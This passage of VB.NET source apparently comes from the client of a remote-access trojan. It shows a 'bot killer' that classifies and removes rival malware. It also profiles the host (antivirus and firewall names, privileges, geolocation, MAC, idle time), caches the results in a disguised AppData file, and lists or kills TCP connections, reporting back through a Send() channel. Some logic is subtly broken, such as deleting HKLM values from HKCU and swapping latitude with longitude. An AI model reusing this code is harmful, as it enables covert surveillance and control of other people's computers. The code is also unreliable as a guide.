  2836.                     If TempString.Contains(Strings5(0)) Or TempString.Contains(Strings5(1)) Or TempString.Contains(Strings5(2)) Or TempString.Contains(Strings5(3)) Then
  2837.                         Info.Judged = JudgedAs.GenericBot
  2838.                     ElseIf TempString.Contains(Strings1(0)) Or TempString.Contains(Strings1(1)) Or TempString.Contains(Strings1(2)) Then
  2839.                         Info.Judged = JudgedAs.Keylogger
  2840.                     ElseIf TempString.Contains(Strings2(0)) Or TempString.Contains(Strings2(1)) Or TempString.Contains(Strings2(2)) Then
  2841.                         Info.Judged = JudgedAs.Keylogger
  2842.                     ElseIf TempString.Contains(Strings3(0)) Or TempString.Contains(Strings3(1)) Or TempString.Contains(Strings3(2)) Then
  2843.                         Info.Judged = JudgedAs.Injector
  2844.                     ElseIf TempString.Contains(Strings4(0)) Or (TempString.Contains(Strings4(1)) And TempString.Contains(Strings4(2)) And TempString.Contains(Strings4(3))) Then
  2845.                         Info.Judged = JudgedAs.IRC_bot
  2846.                     ElseIf TempString.Contains(Strings6(0)) Or TempString.Contains(Strings6(1)) Then
  2847.                         Info.Judged = JudgedAs.NET_Injector
  2848.                     ElseIf TempString.Contains(Strings7(0)) Or TempString.Contains(Strings7(1)) Then
  2849.                         Info.Judged = JudgedAs.NET_ExecuteBytes
  2850.                     Else
  2851.                         Info.Judged = JudgedAs.Unknown
  2852.                     End If
  2853.                     Return Info
  2854.                 Else
  2855.                     Return Nothing
  2856.                 End If
  2857.             End If
  2858.             Return Nothing
  2859.         Catch ex As Exception
  2860.             Return Nothing
  2861.         End Try
  2862.  
  2863.     End Function
  2864.  
  2865.     Public Function ReturnHKCUStrs(ByVal key As String) As List(Of String)
  2866.         On Error Resume Next
  2867.         Dim StringsToRet As New List(Of String)
  2868.         For Each R1 In My.Computer.Registry.CurrentUser.OpenSubKey(key, False).GetValueNames
  2869.             Dim rVal As String = My.Computer.Registry.CurrentUser.OpenSubKey(key, False).GetValue(R1)
  2870.             If rVal.Contains(Chr(34)) Then
  2871.                 rVal = rVal.Split(Chr(34))(1)
  2872.             End If
  2873.             If rVal.Contains(" -") Then
  2874.                 rVal = Split(rVal, " -")(0)
  2875.             End If
  2876.             If rVal.Contains(" /") Then
  2877.                 rVal = Split(rVal, " /")(0)
  2878.             End If
  2879.             If rVal.Contains(".exe") Or rVal.Contains(".dll") Or rVal.Contains(".bat") Or rVal.Contains(".vbs") Or rVal.Contains(".scr") Then StringsToRet.Add(rVal & MainModule.SplitMark1 & "HKEY_CURRENT_USER\" & key & "\" & R1)
  2880.         Next
  2881.         Return StringsToRet
  2882.     End Function
  2883.  
  2884.     Public Function ReturnHKLMStrs(ByVal key As String) As List(Of String)
  2885.         On Error Resume Next
  2886.         Dim StringsToRet As New List(Of String)
  2887.         For Each R1 In My.Computer.Registry.LocalMachine.OpenSubKey(key, False).GetValueNames
  2888.             Dim rVal As String = My.Computer.Registry.LocalMachine.OpenSubKey(key, False).GetValue(R1)
  2889.             If rVal.Contains(Chr(34)) Then
  2890.                 rVal = rVal.Split(Chr(34))(1)
  2891.             End If
  2892.             If rVal.Contains(" -") Then
  2893.                 rVal = Split(rVal, " -")(0)
  2894.             End If
  2895.             If rVal.Contains(" /") Then
  2896.                 rVal = Split(rVal, " /")(0)
  2897.             End If
  2898.             If rVal.Contains(".exe") Or rVal.Contains(".dll") Or rVal.Contains(".bat") Or rVal.Contains(".vbs") Or rVal.Contains(".scr") Then StringsToRet.Add(rVal & MainModule.SplitMark1 & "HKEY_LOCAL_MACHINE\" & key & "\" & R1)
  2899.         Next
  2900.         Return StringsToRet
  2901.     End Function
  2902.  
  2903.     Public Function ReturnDirStrs(ByVal path As String) As List(Of String)
  2904.         On Error Resume Next
  2905.         Dim StringsToRet As New List(Of String)
  2906.         For Each f As IO.FileInfo In New IO.DirectoryInfo(path).GetFiles
  2907.             If f.FullName.Contains(".exe") Or f.FullName.Contains(".dll") Or f.FullName.Contains(".bat") Or f.FullName.Contains(".vbs") Or f.FullName.Contains(".scr") Then StringsToRet.Add(f.FullName & MainModule.SplitMark1 & f.FullName)
  2908.         Next
  2909.         Return StringsToRet
  2910.     End Function
  2911.  
  2912.     'Public Function ProcessListing() As List(Of Process)
  2913.     '    Dim SuspiciousList As New List(Of Process)
  2914.     '    For Each p As Process In Process.GetProcesses
  2915.     '        Try
  2916.     '            Dim MainModLoc As String = p.MainModule.FileName
  2917.     '            If MainModLoc.Contains(Users) Then
  2918.     '                SuspiciousList.Add(p)
  2919.     '            End If
  2920.     '        Catch
  2921.     '        End Try
  2922.     '    Next
  2923.     '    Return SuspiciousList
  2924.     'End Function
  2925. #End Region
  2926.  
  2927. #Region "Processes"
  2928.     Public Function IsProcessRunning(ByVal fullpath As String) As Boolean
  2929.  
  2930.         For Each p As Process In Process.GetProcesses
  2931.             Try
  2932.                 If p.MainModule.FileName = fullpath Then
  2933.                     Return True
  2934.                 End If
  2935.             Catch
  2936.             End Try
  2937.         Next
  2938.         Return False
  2939.     End Function
  2940. #End Region
  2941.  
  2942. #Region "Actions"
  2943.     Public Sub StartRemoval(ByVal RemovalData As Object)
  2944.         Try
  2945.             Dim RemoveReboot As Boolean = False
  2946.             If RemovalData.Split(SplitMark1)(0) = Chr(2) Then
  2947.                 RemoveReboot = True
  2948.             Else
  2949.                 RemoveReboot = False
  2950.             End If
  2951.             For x = 1 To RemovalData.Split(SplitMark1).Length - 1
  2952.                 RemoveThreat(Asc(RemovalData.Split(SplitMark1)(x)) - 8, RemoveReboot)
  2953.             Next
  2954.  
  2955.         Catch ex As Exception
  2956.  
  2957.         End Try
  2958.     End Sub
  2959.  
  2960.     Public Function RemoveThreat(ByVal ListId As Integer, ByVal DelOnReboot As Boolean) As Boolean
  2961.         Try
  2962.  
  2963.             For Each p As Process In Process.GetProcesses
  2964.                 Try
  2965.                     If p.MainModule.FileName = ListOfObjects(ListId).FullPath Then
  2966.                         p.Kill()
  2967.                         Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.ProcessTerminated))
  2968.                         Thread.Sleep(1000)
  2969.                     End If
  2970.                 Catch : End Try
  2971.             Next
  2972.             Try
  2973.                 File.Delete(ListOfObjects(ListId).FullPath)
  2974.                 Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.RemovedFile))
  2975.             Catch : End Try
  2976.             Thread.Sleep(1000)
  2977.             If Not ListOfObjects(ListId).RegKey = Nothing Then
  2978.                 Try
  2979.                     Select Case ListOfObjects(ListId).RegKey.Split("\")(0)
  2980.                         Case "HKEY_CURRENT_USER"
  2981.                             My.Computer.Registry.CurrentUser.DeleteValue(ListOfObjects(ListId).RegKey.Remove(0, ListOfObjects(ListId).RegKey.IndexOf("\", StringComparison.Ordinal) + 1), False)
  2982.                         Case "HKEY_LOCAL_MACHINE"
  2983.                             My.Computer.Registry.CurrentUser.DeleteValue(ListOfObjects(ListId).RegKey.Remove(0, ListOfObjects(ListId).RegKey.IndexOf("\", StringComparison.Ordinal) + 1), False)
  2984.                     End Select
  2985.                     Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.RegistryKeyRemoved))
  2986.                 Catch
  2987.  
  2988.                 End Try
  2989.             End If
  2990.             Thread.Sleep(1000)
  2991.             Try
  2992.                 If File.Exists(ListOfObjects(ListId).FullPath) Then
  2993.                     If SystemInformation.Privileges = SystemInformation.UserPrivileges.Admin And DelOnReboot Then
  2994.                         Dim RemoveRebootSuccess As Integer = DeleteFileOnReboot(ListOfObjects(ListId).FullPath)
  2995.                         If RemoveRebootSuccess Then
  2996.                             Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.RemovingOnReboot))
  2997.                             Return True
  2998.                         Else
  2999.                             Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.FailedToRemove))
  3000.                             Return False
  3001.                         End If
  3002.                     End If
  3003.                     Return False
  3004.                 End If
  3005.                 Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.ThreatRemoved))
  3006.                 Return True
  3007.             Catch
  3008.                 If File.Exists(ListOfObjects(ListId).FullPath) Then
  3009.                     If SystemInformation.Privileges = SystemInformation.UserPrivileges.Admin And DelOnReboot Then
  3010.                         Dim RemoveRebootSuccess As Integer = DeleteFileOnReboot(ListOfObjects(ListId).FullPath)
  3011.                         If RemoveRebootSuccess Then
  3012.                             Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.RemovingOnReboot))
  3013.                             Return True
  3014.                         Else
  3015.                             Send(Chr(RemovalStatusHeader) & Chr(ListId + 8) & Chr(RemovalStatus.RemovingOnReboot))
  3016.                             Return True
  3017.                         End If
  3018.                     End If
  3019.                 End If
  3020.                 Return False
  3021.             End Try
  3022.         Catch ex As Exception
  3023.             Return False
  3024.         End Try
  3025.     End Function
  3026.  
  3027.     Public Function DeleteFileOnReboot(ByVal FilePath As String) As Boolean
  3028.         Try
  3029.             Return MoveFileEx(FilePath, 0, 4)
  3030.         Catch
  3031.             Return False
  3032.         End Try
  3033.     End Function
  3034. #End Region
  3035.  
  3036. End Class
  3037.  
  3038. #End Region
  3039.  
  3040. #Region " System Information "
  3041.  
  3042.  
  3043. Public Class SystemInformation
  3044.  
  3045.     Public Enum UserPrivileges
  3046.         Admin = &H1
  3047.         User = &H2
  3048.         Guest = &H3
  3049.         Unknown = &H4
  3050.     End Enum
  3051.  
  3052.  
  3053. #Region "Get computer LAN address"
  3054.     Public Shared Function LAN() As String
  3055.         Try
  3056.             Dim IPHost As IPHostEntry = Dns.GetHostByName(Dns.GetHostName())
  3057.             Return IPHost.AddressList(0).ToString()
  3058.         Catch
  3059.             Return "?"
  3060.         End Try
  3061.     End Function
  3062. #End Region
  3063.  
  3064. #Region "Get firewall name"
  3065.     Public Shared Function Firewall() As String
  3066.         Try
  3067.             Dim FWCollection As Object
  3068.             Dim FW As Object
  3069.             Dim objWMIService As Object
  3070.             objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
  3071.             FWCollection = objWMIService.ExecQuery("SELECT * FROM FirewallProduct")
  3072.             For Each FW In FWCollection
  3073.                 Return FW.displayname
  3074.             Next
  3075.         Catch
  3076.             Try
  3077.                 Dim FWCollection As Object
  3078.                 Dim FW As Object
  3079.                 Dim objWMIService As Object
  3080.                 objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter2")
  3081.                 FWCollection = objWMIService.ExecQuery("SELECT * FROM FirewallProduct")
  3082.                 For Each FW In FWCollection
  3083.                     Return FW.displayname
  3084.                 Next
  3085.             Catch
  3086.                 Return "Couldn't get FW!"
  3087.             End Try
  3088.             Return "Not Available"
  3089.         End Try
  3090.         Return "Not Available"
  3091.     End Function
  3092. #End Region
  3093.  
  3094. #Region "Get antivirus name"
  3095.     Public Shared Function Antivirus() As String
  3096.         Try
  3097.             Dim AVCollection As Object
  3098.             Dim AV As Object
  3099.             Dim objWMIService As Object
  3100.             objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter2")
  3101.             AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  3102.             For Each AV In AVCollection
  3103.                 Return AV.displayname
  3104.             Next
  3105.             Dim AVCollection1 As Object
  3106.             Dim AV1 As Object
  3107.             Dim objWMIService1 As Object
  3108.             objWMIService1 = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
  3109.             AVCollection1 = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  3110.             For Each AV1 In AVCollection
  3111.                 Return AV1.displayname
  3112.             Next
  3113.             Return "Not Available"
  3114.         Catch
  3115.             Try
  3116.                 Dim AVCollection As Object
  3117.                 Dim AV As Object
  3118.                 Dim objWMIService As Object
  3119.                 objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\SecurityCenter")
  3120.                 AVCollection = objWMIService.ExecQuery("Select * from AntiVirusProduct")
  3121.                 For Each AV In AVCollection
  3122.                     Return AV.displayname
  3123.                 Next
  3124.             Catch
  3125.                 Return "Couldn't get AV!"
  3126.             End Try
  3127.  
  3128.             Return "Not Available"
  3129.         End Try
  3130.     End Function
  3131.  
  3132. #End Region
  3133.  
  3134. #Region "Operating system"
  3135.     Shared Function OS() As String
  3136.         On Error Resume Next
  3137.         Dim OSstring As String = My.Computer.Info.OSFullName
  3138.  
  3139.         Return My.Computer.Info.OSFullName.Replace("Microsoft ", "")
  3140.     End Function
  3141. #End Region
  3142.  
  3143. #Region "Get current username"
  3144.     Shared Function Username() As String
  3145.         Try
  3146.             Return Environment.UserName
  3147.         Catch
  3148.             Return "?"
  3149.         End Try
  3150.     End Function
  3151. #End Region
  3152.  
  3153. #Region "Get current computer name"
  3154.     Shared Function ComputerName() As String
  3155.         Try
  3156.             Return Environment.MachineName
  3157.         Catch
  3158.             Return "?"
  3159.         End Try
  3160.     End Function
  3161. #End Region
  3162.  
  3163. #Region "Get current user privileges"
  3164.  
  3165.     Public Shared Function Privileges() As UserPrivileges
  3166.         Try
  3167.             Dim identity As WindowsIdentity = WindowsIdentity.GetCurrent()
  3168.             Dim principal As WindowsPrincipal = New WindowsPrincipal(identity)
  3169.             If principal.IsInRole(WindowsBuiltInRole.Administrator) Then
  3170.                 Return UserPrivileges.Admin
  3171.             ElseIf principal.IsInRole(WindowsBuiltInRole.Guest) Then
  3172.                 Return UserPrivileges.Guest
  3173.             ElseIf principal.IsInRole(WindowsBuiltInRole.User) Then
  3174.                 Return UserPrivileges.User
  3175.             End If
  3176.             Return UserPrivileges.Unknown
  3177.         Catch
  3178.             Return UserPrivileges.Unknown
  3179.         End Try
  3180.     End Function
  3181. #End Region
  3182.  
  3183. #Region "Get country name"
  3184.     <DllImport("kernel32.dll")> _
  3185.     Private Shared Function GetLocaleInfo(ByVal Locale As UInteger, ByVal LCType As UInteger, <Out()> ByVal StrBuilder As System.Text.StringBuilder, ByVal cchData As Integer) As Integer
  3186.     End Function
  3187.     Private Const LOCALE_SYSTEM_DEFAULT As UInteger = &H400
  3188.     Private Const LOCALE_SENGCOUNTRY As UInteger = &H1002
  3189.     Private Shared Function GetInfo(ByVal lInfo As UInteger) As String
  3190.         On Error Resume Next
  3191.         Dim StrBuilder As StringBuilder = New System.Text.StringBuilder(256)
  3192.         Dim ret As Integer = GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, lInfo, StrBuilder, StrBuilder.Capacity)
  3193.         If ret > 0 Then
  3194.             Return StrBuilder.ToString().Substring(0, ret - 1)
  3195.         End If
  3196.         Return String.Empty
  3197.     End Function
  3198.     Shared Function Country() As String
  3199.         Try
  3200.             Dim MyCountry As String = (GetInfo(LOCALE_SENGCOUNTRY))
  3201.             Return MyCountry
  3202.         Catch ex As Exception
  3203.             Return "Unknown country"
  3204.         End Try
  3205.     End Function
  3206. #End Region
  3207.  
  3208. #Region "GetScreens"
  3209.     Public Shared Function Screens() As Integer
  3210.         On Error Resume Next
  3211.         Dim numberofmonitors As Integer = Screen.AllScreens.Length
  3212.         Return numberofmonitors
  3213.     End Function
  3214. #End Region
  3215.  
  3216. #Region "GetProcessor"
  3217.     Public Shared Function GetProcessorId() As String
  3218.         Try
  3219.             Dim wmi As Object = GetObject("winmgmts:")
  3220.             For Each CPU In wmi.InstancesOf("Win32_Processor")
  3221.                 Return CPU.Name
  3222.             Next
  3223.             Return "(unknown processor)"
  3224.         Catch
  3225.             Return "(Error finding processor)"
  3226.         End Try
  3227.     End Function
  3228. #End Region
  3229.  
  3230. #Region "GetGFX"
  3231.     Public Shared Function GetGraphicsCardName() As String
  3232.         Dim GraphicsCardName = String.Empty
  3233.         Try
  3234.             Dim WmiSelect As New ManagementObjectSearcher _
  3235.             ("root\CIMV2", "SELECT * FROM Win32_VideoController")
  3236.             For Each WmiResults As ManagementObject In WmiSelect.Get()
  3237.                 GraphicsCardName = WmiResults.GetPropertyValue("Name").ToString
  3238.                 If (Not String.IsNullOrEmpty(GraphicsCardName)) Then
  3239.  
  3240.                     Exit For
  3241.                 End If
  3242.             Next
  3243.         Catch err As ManagementException
  3244.             Return "Graphics Card Not Found"
  3245.         End Try
  3246.         Return GraphicsCardName
  3247.     End Function
  3248. #End Region
  3249.  
  3250. #Region "Battery"
  3251.     Private Declare Auto Function GetSystemPowerStatus Lib "kernel32.dll" (ByRef lpSystemPowerStatus As SYSTEM_POWER_STATUS) As Integer
  3252.  
  3253.     Public Structure SYSTEM_POWER_STATUS
  3254.         Public ACLineStatus As ACLineStatus
  3255.         Public BatteryFlag As BatteryFlag
  3256.         Public BatteryLifePercent As Byte
  3257.         Public Reserved1 As Byte
  3258.         Public BatteryLifeTime As Integer
  3259.         Public BatteryFullLifeTime As Integer
  3260.     End Structure
  3261.  
  3262.     Public Enum BatteryFlag As Byte
  3263.         High = 1
  3264.         Low = 2
  3265.         Critical = 4
  3266.         Charging = 8
  3267.         NoSystemBattery = 128
  3268.         Unknown = 255
  3269.     End Enum
  3270.  
  3271.     Public Enum ACLineStatus As Byte
  3272.         Offline = 0
  3273.         Online = 1
  3274.         Unknown = 255
  3275.     End Enum
  3276.  
  3277.     Public Shared Function GetStatus() As SYSTEM_POWER_STATUS
  3278.         On Error Resume Next
  3279.         Dim SPS As New SYSTEM_POWER_STATUS
  3280.         GetSystemPowerStatus(SPS)
  3281.         Return SPS
  3282.     End Function
  3283.     Public Shared Function Battery() As String
  3284.         On Error Resume Next
  3285.         Dim Status As SYSTEM_POWER_STATUS = GetStatus()
  3286.         If Status.BatteryLifeTime.ToString = -1 And Status.BatteryFlag = BatteryFlag.NoSystemBattery Then
  3287.             Return "Desktop (No Battery)"
  3288.         Else
  3289.             Return "Laptop (" & Status.BatteryLifePercent.ToString & "%" & " Battery)"
  3290.         End If
  3291.     End Function
  3292. #End Region
  3293.  
  3294. #Region "MACAddress"
  3295.     Public Shared Function getMacAddress() As String
  3296.         On Error Resume Next
  3297.         Dim networkcard() As NetworkInterface = NetworkInterface.GetAllNetworkInterfaces()
  3298.         Dim netCard As String = networkcard(0).GetPhysicalAddress.ToString
  3299.         Return netCard
  3300.     End Function
  3301. #End Region
  3302.  
  3303. #Region "Idle time in seconds"
  3304.  
  3305.     <DllImport("user32.dll")> _
  3306.     Shared Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean
  3307.     End Function
  3308.  
  3309.  
  3310.  
  3311.     <StructLayout(LayoutKind.Sequential)> Structure LASTINPUTINFO
  3312.         <MarshalAs(UnmanagedType.U4)> Public cbSize As Integer
  3313.         <MarshalAs(UnmanagedType.U4)> Public dwTime As Integer
  3314.     End Structure
  3315.  
  3316.     Public Shared Function GetLastInputTime() As Integer
  3317.         On Error Resume Next
  3318.         Dim lastInputInf As New LASTINPUTINFO()
  3319.         lastInputInf.cbSize = Marshal.SizeOf(lastInputInf)
  3320.  
  3321.         If GetLastInputInfo(lastInputInf) Then
  3322.             Return Int((Environment.TickCount - lastInputInf.dwTime) / 1000)
  3323.         Else
  3324.             Return -1
  3325.         End If
  3326.     End Function
  3327. #End Region
  3328.  
  3329. #Region "IP"
  3330.     Public Structure LocationInfo
  3331.         Dim Longitude As Double
  3332.         Dim Latitude As Double
  3333.         Dim Country As String
  3334.         Dim City As String
  3335.         Dim State As String
  3336.         Dim ISP As String
  3337.         Dim Organization As String
  3338.     End Structure
  3339.     Public Const API = "http://freegeoip.net/json/"
  3340.     Public Const QUOTE = Chr(34)
  3341.     Public Shared Function GetIPLatLong() As LocationInfo
  3342.         Dim A As New LocationInfo
  3343.         Try
  3344.             If File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\r58Ies.tmp") Then
  3345.                 Dim Content() As String = File.ReadAllLines(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\r58Ies.tmp")
  3346.                 A.Latitude = Double.Parse(Content(0).Split("/")(1), CultureInfo.InvariantCulture)
  3347.                 A.Longitude = Double.Parse(Content(0).Split("/")(0), CultureInfo.InvariantCulture)
  3348.                 A.Country = Content(1)
  3349.                 A.City = Content(2)
  3350.                 A.State = Content(3)
  3351.                 Return A
  3352.             End If
  3353.             Dim Source As String = New WebClient().DownloadString(API)
  3354.             Dim Country As String = Source.Split(QUOTE)(11)
  3355.             Dim State As String = Source.Split(QUOTE)(19)
  3356.             Dim City As String = Source.Split(QUOTE)(23)
  3357.             Dim Latitude As String = Source.Split(QUOTE)(30).Split(":")(1).Split(",")(0)
  3358.             Dim Longitude As String = Source.Split(QUOTE)(32).Split(":")(1).Split(",")(0)
  3359.             A.Country = Country
  3360.             A.City = City
  3361.             A.State = State
  3362.             A.Latitude = Double.Parse(Longitude, CultureInfo.InvariantCulture)
  3363.             A.Longitude = Double.Parse(Latitude, CultureInfo.InvariantCulture)
  3364.             If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\r58Ies.tmp") Then IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\r58Ies.tmp", A.Longitude & "/" & A.Latitude & Environment.NewLine & Country & Environment.NewLine & City & Environment.NewLine & State)
  3365.             Return A
  3366.         Catch ex As Exception
  3367.             Return Nothing
  3368.         End Try
  3369.     End Function
  3370.     Private Shared Function GetBetween(ByVal Input As String, ByVal Str1 As String, ByVal Str2 As String, ByVal Index As Integer) As String
  3371.         On Error Resume Next
  3372.         Dim Temp As String = Regex.Split(Input, Str1)(Index + 1)
  3373.         Return Regex.Split(Temp, Str2)(0)
  3374.     End Function
  3375. #End Region
  3376.  
  3377. #Region "RAM And TimeSinceLastReboot"
  3378.     Public Shared Function GetRamUsage() As String
  3379.         On Error Resume Next
  3380.         Return CInt((My.Computer.Info.TotalPhysicalMemory - My.Computer.Info.AvailablePhysicalMemory) / My.Computer.Info.TotalPhysicalMemory * 100)
  3381.     End Function
  3382.     Public Shared Function TimeSinceLastReboot() As String
  3383.         On Error Resume Next
  3384.         Dim timeSinceLastRebootMinutes As Double = My.Computer.Clock.TickCount / 1000 / 60
  3385.         Return CInt(timeSinceLastRebootMinutes).ToString() & " minutes"
  3386.     End Function
  3387. #End Region
  3388.  
  3389. #Region "GetSubnet"
  3390.     Public Shared Function GetSubnet() As String
  3391.         On Error Resume Next
  3392.         Dim subnetMask As String = Nothing
  3393.         Dim mc As New ManagementClass("Win32_NetworkAdapterConfiguration")
  3394.         Dim nics As ManagementObjectCollection
  3395.         nics = mc.GetInstances()
  3396.         Dim nic As ManagementObject
  3397.         For Each nic In nics
  3398.             If nic("ipEnabled") = True Then
  3399.                 Dim s As String
  3400.                 For Each s In nic("IPSubnet")
  3401.                     subnetMask = String.Format(s, nic("Caption"))
  3402.                     Exit For
  3403.                 Next
  3404.                 Exit For
  3405.             End If
  3406.         Next
  3407.         Return subnetMask
  3408.     End Function
  3409. #End Region
  3410.  
  3411. End Class
  3412.  
  3413. #End Region
  3414.  
  3415. #Region " Connections Manager "
  3416.  
  3417. Public Class ConnectionsManager
  3418.  
  3419. #Region "Connections mgr Get/Block"
  3420.     Public Shared Function KillConnection(ByVal RemotehostAddress As String, ByVal RemotePort As String, ByVal LocalAddress As String, ByVal LocalPort As String) As String
  3421.         Try
  3422.             If Not IPAddress.TryParse(RemotehostAddress, Nothing) Then
  3423.                 RemotehostAddress = Dns.GetHostAddresses(RemotehostAddress)(0).ToString
  3424.             End If
  3425.             Return KillConnectionSub(LocalAddress, LocalPort, RemotehostAddress, RemotePort)
  3426.         Catch
  3427.             Return False
  3428.         End Try
  3429.     End Function
  3430.  
  3431.  
  3432.     Public Shared Function KillConnectionSub(ByVal locIP As String, ByVal locPort As String, ByVal remIP As String, ByVal remPort As String) As Boolean
  3433.         Try
  3434.             Dim LocalAddress() As Byte = IPAddress.Parse(locIP).GetAddressBytes
  3435.             Dim RemoteAddress() As Byte = IPAddress.Parse(remIP).GetAddressBytes
  3436.             Dim TCP_row As New TcpInfo
  3437.             TCP_row.cnxLocAdr = BitConverter.ToInt32(LocalAddress, 0)
  3438.             TCP_row.cnxLocPort = htons(Integer.Parse(locPort))
  3439.             TCP_row.cnxRemAdr = BitConverter.ToInt32(RemoteAddress, 0)
  3440.             TCP_row.cnxRemPort = htons(Integer.Parse(remPort))
  3441.             TCP_row.cnxState = MIB_TCP_STATE_DELETE_TCB
  3442.             Dim TCP_Pointer As IntPtr = Marshal.AllocCoTaskMem(Marshal.SizeOf(TCP_row))
  3443.             Marshal.StructureToPtr(TCP_row, TCP_Pointer, False)
  3444.             Return SetTcpEntry(TCP_Pointer)
  3445.         Catch
  3446.             Return False
  3447.         End Try
  3448.     End Function
  3449.     Private Structure TcpInfo
  3450.         Public cnxState As Integer
  3451.         Public cnxLocAdr As Integer
  3452.         Public cnxLocPort As Integer
  3453.         Public cnxRemAdr As Integer
  3454.         Public cnxRemPort As Integer
  3455.     End Structure
  3456.     <DllImport("iphlpapi.dll")> Private Shared Function SetTcpEntry(ByVal pTcprow As IntPtr) As Integer
  3457.     End Function
  3458.     <DllImport("wsock32.dll")> Private Shared Function htons(ByVal netshort As Integer) As Integer
  3459.     End Function
  3460.  
  3461.     Public Structure MIB_TCPROW_OWNER_PID
  3462.         Dim dwState As Integer
  3463.         Dim dwLocalAddr As Integer
  3464.         Dim dwLocalPort As Integer
  3465.         Dim dwRemoteAddr As Integer
  3466.         Dim dwRemotePort As Integer
  3467.         Dim dwOwningPid As Integer
  3468.     End Structure
  3469.     Private Const MIB_TCP_STATE_CLOSED As Short = 1
  3470.     Private Const MIB_TCP_STATE_LISTEN As Short = 2
  3471.     Private Const MIB_TCP_STATE_SYN_SENT As Short = 3
  3472.     Private Const MIB_TCP_STATE_SYN_RCVD As Short = 4
  3473.     Private Const MIB_TCP_STATE_ESTAB As Short = 5
  3474.     Private Const MIB_TCP_STATE_FIN_WAIT1 As Short = 6
  3475.     Private Const MIB_TCP_STATE_FIN_WAIT2 As Short = 7
  3476.     Private Const MIB_TCP_STATE_CLOSE_WAIT As Short = 8
  3477.     Private Const MIB_TCP_STATE_CLOSING As Short = 9
  3478.     Private Const MIB_TCP_STATE_LAST_ACK As Short = 10
  3479.     Private Const MIB_TCP_STATE_TIME_WAIT As Short = 11
  3480.     Private Const MIB_TCP_STATE_DELETE_TCB As Short = 12
  3481.     Declare Function GetExtendedTcpTable Lib "IPHLPAPI.dll" (ByVal pTcpTable As IntPtr, ByRef dwTcpTableSize As Integer, ByVal bOrder As Boolean, ByVal ulAf As Integer, ByVal TCP_TABLE_CLASS As Integer, ByVal Reserved As Integer) As Integer
  3482.     Declare Function GetExtendedUdpTable Lib "IPHLPAPI.dll" (ByVal pUdpTable As IntPtr, ByRef dwUdpTableSize As Integer, ByVal ubOrder As Boolean, ByVal uulAf As Integer, ByVal UDP_TABLE_CLASS As Integer, ByVal uReserved As Integer) As Integer
  3483.     Public Shared Function GetExtendedTCPdata() As String
  3484.         On Error Resume Next
  3485.         Const AF_INET As Integer = 2
  3486.         Dim dwTcpTableSize As Integer
  3487.         Dim iNumberOfStructures As Integer
  3488.         Dim TcpRow As MIB_TCPROW_OWNER_PID
  3489.         Dim pStructPointer As IntPtr = IntPtr.Zero
  3490.         Dim cstring As String = Nothing
  3491.         GetExtendedTcpTable(pStructPointer, dwTcpTableSize, 1, AF_INET, 5, 0)
  3492.         pStructPointer = Marshal.AllocHGlobal(dwTcpTableSize)
  3493.         GetExtendedTcpTable(pStructPointer, dwTcpTableSize, 1, AF_INET, 5, 0)
  3494.         iNumberOfStructures = Math.Ceiling((dwTcpTableSize - 4) / Marshal.SizeOf(GetType(MIB_TCPROW_OWNER_PID)))
  3495.         For i = 0 To iNumberOfStructures - 1
  3496.             Dim bar As Long = pStructPointer.ToInt32() + 4 + (i * Marshal.SizeOf(GetType(MIB_TCPROW_OWNER_PID)))
  3497.             Dim pStructPointerTemp As IntPtr = New IntPtr(bar)
  3498.             TcpRow = New MIB_TCPROW_OWNER_PID()
  3499.             TcpRow = CType(Marshal.PtrToStructure(pStructPointerTemp, GetType(MIB_TCPROW_OWNER_PID)), MIB_TCPROW_OWNER_PID)
  3500.             If Not ((GetState(TcpRow.dwState) = Nothing)) Then
  3501.                 On Error Resume Next
  3502.                 With TcpRow
  3503.                     Dim p As Process = Process.GetProcessById(CStr(.dwOwningPid))
  3504.                     cstring &= (CStr(.dwOwningPid)) & SplitMark1
  3505.                     cstring &= (p.ProcessName) & SplitMark1
  3506.                     cstring &= (GetIpFromLong(.dwLocalAddr)) & SplitMark1
  3507.                     cstring &= (CStr(GetTcpPortNumber(.dwLocalPort))) & SplitMark1
  3508.                     cstring &= (GetIpFromLong(.dwRemoteAddr)) & SplitMark1
  3509.                     cstring &= (CStr(GetTcpPortNumber(.dwRemotePort))) & SplitMark1
  3510.                     cstring &= ("TCP")
  3511.                     If Not ((GetState(.dwState) = Nothing)) Then
  3512.                         cstring &= (GetState(.dwState)) & splitMark2
  3513.                     Else
  3514.                         cstring &= ("Unknown") & splitMark2
  3515.                     End If
  3516.                 End With
  3517.             End If
  3518.         Next
  3519.         Return cstring
  3520.  
  3521.     End Function
  3522.  
  3523.     Public Shared Function GetIpFromLong(ByRef lngIPAddress As Integer) As String
  3524.         On Error Resume Next
  3525.         Dim arrIpParts() As Byte = BitConverter.GetBytes(lngIPAddress)
  3526.         GetIpFromLong = CStr(arrIpParts(0)) & "." & CStr(arrIpParts(1)) & "." & CStr(arrIpParts(2)) & "." & CStr(arrIpParts(3))
  3527.  
  3528.     End Function
  3529.  
  3530.     Public Shared Function GetTcpPortNumber(ByRef DWord As Integer) As Integer
  3531.         On Error Resume Next
